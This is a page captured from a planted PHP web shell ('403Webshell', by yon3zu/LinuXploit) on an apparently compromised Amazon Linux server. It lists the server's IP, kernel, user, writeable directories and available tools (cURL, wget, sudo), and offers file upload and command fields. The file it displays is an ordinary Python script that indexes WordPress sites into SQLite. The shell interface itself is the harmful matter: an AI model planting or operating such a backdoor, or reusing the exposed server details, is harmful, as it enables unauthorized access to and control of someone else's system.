403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.johnturman.net/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.johnturman.net/scripts/index_sites.py
"""
Site Indexing Script

Indexes WordPress sites by fetching metadata (name, tagline, logo) via the WP REST API
and storing results in a local SQLite database.

Each environment indexes its own sites by loading them from Drupal via
SiteConfigService. The script reconciles the database to the live config:
sites returned by the service are inserted/updated, and any rows in the
database whose slug is no longer present are pruned. To remove a site from
the index, delete the site_config node in Drupal and re-run this script.

Usage:
    cd api
    python scripts/index_sites.py [--env development|production|scike_ai]

The TSAI_ENV environment variable is used by default. Pass --env to override.
"""

import argparse
import json
import logging
import os
import sqlite3
import sys
from datetime import datetime, timezone
from pathlib import Path

import re

import requests

API_DIR = Path(__file__).resolve().parent.parent
DB_PATH = API_DIR / 'data' / 'site_index.db'

WP_JSON_ROOT = '/wp-json/'
WP_JSON_MEDIA = '/wp-json/wp/v2/media/'

logging.basicConfig(
    level=logging.INFO,
    format='%(levelname)s %(asctime)s %(message)s',
    datefmt='%m/%d/%Y %I:%M:%S %p'
)
logger = logging.getLogger(__name__)


def init_db() -> sqlite3.Connection:
    DB_PATH.parent.mkdir(parents=True, exist_ok=True)
    conn = sqlite3.connect(str(DB_PATH))
    conn.execute('''
        CREATE TABLE IF NOT EXISTS site_index (
            slug TEXT PRIMARY KEY,
            wp_host TEXT NOT NULL,
            name TEXT DEFAULT '',
            tagline TEXT DEFAULT '',
            link TEXT DEFAULT '',
            chat_url TEXT DEFAULT '',
            logo_full TEXT DEFAULT '',
            logo_72 TEXT DEFAULT '',
            logo_150 TEXT DEFAULT '',
            logo_300 TEXT DEFAULT '',
            indexed_at TEXT NOT NULL,
            promoted INTEGER DEFAULT 1
        )
    ''')
    conn.commit()
    return conn


def compute_chat_url(slug: str, wp_host: str) -> str:
    """Compute chat URL using the same prefix logic as site_config_service."""
    prefix = 'chat.' if slug in ('jpt', 'tsai') else 'chat-'
    if '://' in wp_host:
        protocol, host = wp_host.split('://', 1)
        return f"{protocol}://{prefix}{host}"
    return f"{prefix}{wp_host}"


def fetch_blog_public(wp_host: str) -> bool:
    """Check if a site allows search engine indexing (blog_public setting).

    Fetches the site's homepage HTML and looks for a <meta name='robots'
    tag containing 'noindex'. WordPress outputs this when blog_public is 0
    (Settings > Reading > "Discourage search engines from indexing this site").

    Returns True (promoted) if the site allows indexing, False if noindex is found.
    """
    url = wp_host.rstrip('/')
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        # WordPress outputs: <meta name='robots' content='noindex, ...'>
        if re.search(r"<meta\s+name=['\"]robots['\"][^>]*noindex", resp.text, re.IGNORECASE):
            return False
        return True
    except Exception as e:
        logger.warning(f"Failed to check blog_public for {url}: {e}")
        return True  # Default to promoted if we can't check


def fetch_site_info(wp_host: str) -> dict:
    """Fetch site name, tagline, and logo info from the WP REST API root."""
    url = wp_host.rstrip('/') + WP_JSON_ROOT
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        data = resp.json()
        return {
            'name': data.get('name', ''),
            'tagline': data.get('description', ''),
            'site_logo': data.get('site_logo'),
            'site_icon_url': data.get('site_icon_url', ''),
        }
    except Exception as e:
        logger.warning(f"Failed to fetch site info from {url}: {e}")
        return {}


def fetch_logo_sizes(wp_host: str, media_id: int) -> dict:
    """Fetch logo URLs at various sizes from the WP media endpoint."""
    url = wp_host.rstrip('/') + WP_JSON_MEDIA + str(media_id)
    try:
        resp = requests.get(url, timeout=15)
        resp.raise_for_status()
        data = resp.json()
        source_url = data.get('source_url', '')
        sizes = data.get('media_details', {}).get('sizes', {})
        return {
            'logo_full': source_url,
            'logo_72': sizes.get('thumbnail', {}).get('source_url', source_url),
            'logo_150': sizes.get('medium', {}).get('source_url',
                        sizes.get('thumbnail', {}).get('source_url', source_url)),
            'logo_300': sizes.get('medium_large', {}).get('source_url',
                        sizes.get('medium', {}).get('source_url', source_url)),
        }
    except Exception as e:
        logger.warning(f"Failed to fetch logo from {url}: {e}")
        return {}


def index_sites(env: str):
    os.environ.setdefault('TSAI_ENV', env)
    sys.path.insert(0, str(API_DIR))
    from app.services.site_config_service import SiteConfigService

    service = SiteConfigService()
    all_sites = service.get_all_sites()
    print(f"Loaded {len(all_sites)} sites from SiteConfigService")

    # De-duplicate by slug, keeping first occurrence
    seen = {}
    for site in all_sites:
        if site.slug not in seen:
            seen[site.slug] = site

    conn = init_db()
    now = datetime.now(timezone.utc).isoformat()
    indexed = 0
    failed = 0

    for slug, site in seen.items():
        wp_host = site.wp_host
        print(f"  Indexing {slug} ({wp_host})...", end=' ')

        info = fetch_site_info(wp_host)
        if not info:
            print("FAILED")
            failed += 1
            continue

        chat_url = compute_chat_url(slug, wp_host)
        promoted = fetch_blog_public(wp_host)

        # Try to get logo from custom logo (media ID)
        logos = {}
        site_logo_id = info.get('site_logo')
        if site_logo_id and site_logo_id != 0:
            logos = fetch_logo_sizes(wp_host, site_logo_id)

        # Fall back to site icon URL if no custom logo
        if not logos.get('logo_full') and info.get('site_icon_url'):
            icon_url = info['site_icon_url']
            logos = {
                'logo_full': icon_url,
                'logo_72': icon_url,
                'logo_150': icon_url,
                'logo_300': icon_url,
            }

        conn.execute('''
            INSERT OR REPLACE INTO site_index
            (slug, wp_host, name, tagline, link, chat_url,
             logo_full, logo_72, logo_150, logo_300, indexed_at, promoted)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        ''', (
            slug, wp_host,
            info.get('name', ''), info.get('tagline', ''),
            wp_host, chat_url,
            logos.get('logo_full', ''), logos.get('logo_72', ''),
            logos.get('logo_150', ''), logos.get('logo_300', ''),
            now, int(promoted)
        ))
        conn.commit()
        indexed += 1
        print(f"OK - {info.get('name', slug)}")

    # Prune slugs that are no longer in the config
    configured_slugs = set(seen.keys())
    existing_rows = conn.execute('SELECT slug FROM site_index').fetchall()
    stale_slugs = [row[0] for row in existing_rows if row[0] not in configured_slugs]
    for stale in stale_slugs:
        conn.execute('DELETE FROM site_index WHERE slug = ?', (stale,))
        print(f"  Pruned {stale} (no longer in config)")
    if stale_slugs:
        conn.commit()

    conn.close()
    print(f"\nDone. Indexed {indexed} sites, {failed} failed, {len(stale_slugs)} pruned.")


def main():
    parser = argparse.ArgumentParser(description='Index WordPress sites')
    parser.add_argument(
        '--env',
        choices=['development', 'production', 'scike_ai'],
        default=os.getenv('TSAI_ENV', 'development'),
        help='Environment to index (default: TSAI_ENV or development)'
    )
    args = parser.parse_args()
    index_sites(args.env)


if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit